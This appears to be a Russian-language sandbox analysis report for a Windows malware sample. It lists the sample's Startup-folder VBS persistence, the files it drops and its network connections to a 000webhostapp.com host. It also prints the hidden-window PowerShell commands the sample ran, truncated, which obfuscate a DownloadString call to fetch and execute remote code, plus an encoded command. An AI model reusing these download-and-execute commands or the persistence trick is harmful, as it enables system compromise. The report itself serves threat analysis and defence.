Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- %APPDATA%\microsoft\windows\start menu\programs\startup\updaaae.vbs
Изменения в файловой системе
Создает следующие файлы
- %HOMEPATH%\pictures\faile.vbs
- D:\09274ffaf2b96f26c8aa\update\eula.txt
- D:\09274ffaf2b96f26c8aa\update\update_wxp.inf
- D:\09274ffaf2b96f26c8aa\update\update_win2k.inf
- D:\09274ffaf2b96f26c8aa\update\update_w2k3.inf
- D:\09274ffaf2b96f26c8aa\update\update.exe
- D:\09274ffaf2b96f26c8aa\spuninst.exe
- D:\09274ffaf2b96f26c8aa\update\updspapi.dll
- D:\09274ffaf2b96f26c8aa\spmsg.dll
- D:\09274ffaf2b96f26c8aa\update\spcustom.dll
- D:\09274ffaf2b96f26c8aa\update\update.ver
- D:\09274ffaf2b96f26c8aa\update\updatebr.inf
- D:\09274ffaf2b96f26c8aa\update\kb893803v2_wxp.cat
- D:\09274ffaf2b96f26c8aa\update\kb893803v2_w2k.cat
- D:\09274ffaf2b96f26c8aa\update\kb893803v2_net.cat
- D:\09274ffaf2b96f26c8aa\msiexec.exe
- D:\09274ffaf2b96f26c8aa\msisip.dll
- D:\09274ffaf2b96f26c8aa\msimsg.dll
- D:\09274ffaf2b96f26c8aa\msihnd.dll
- D:\09274ffaf2b96f26c8aa\msi.dll
- D:\09274ffaf2b96f26c8aa\empty.cat
- %HOMEPATH%\pictures\cc.exe
- D:\09274ffaf2b96f26c8aa\$shtdwn$.req
- %WINDIR%\kb893803v2.log
Сетевая активность
Подключается к
- 'ge########-impact.000webhostapp.com':443
- '6g####.#n.files.1drv.com':443
TCP
Другие
- '6g####.#n.files.1drv.com':443
- 'ge########-impact.000webhostapp.com':443
UDP
- DNS ASK ge########-impact.000webhostapp.com
- DNS ASK 6g####.#n.files.1drv.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "%HOMEPATH%\Pictures\faile.vbs"
- '%HOMEPATH%\pictures\cc.exe'
- 'D:\09274ffaf2b96f26c8aa\update\update.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc ZgB1AG4AYwB0AGkAbwBuACAAVAByAGkAcABsAGUARABFAFMAIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAgACgAJABiAHkAdABlACkADQAKACAAIAAgACAAJABEAEUAUwAgAD0AIAAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/4141.tx...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -enc ZgB1AG4AYwB0AGkAbwBuACAAVAByAGkAcABsAGUARABFAFMAIAB7AA0ACgAgACAAIAAgAHAAYQByAGEAbQAgACgAJABiAHkAdABlACkADQAKACAAIAAgACAAJABEAEUAUwAgAD0AIAAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://geographic-impact.000webhostapp.com/server/...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\dw20.exe' -x -s 1952
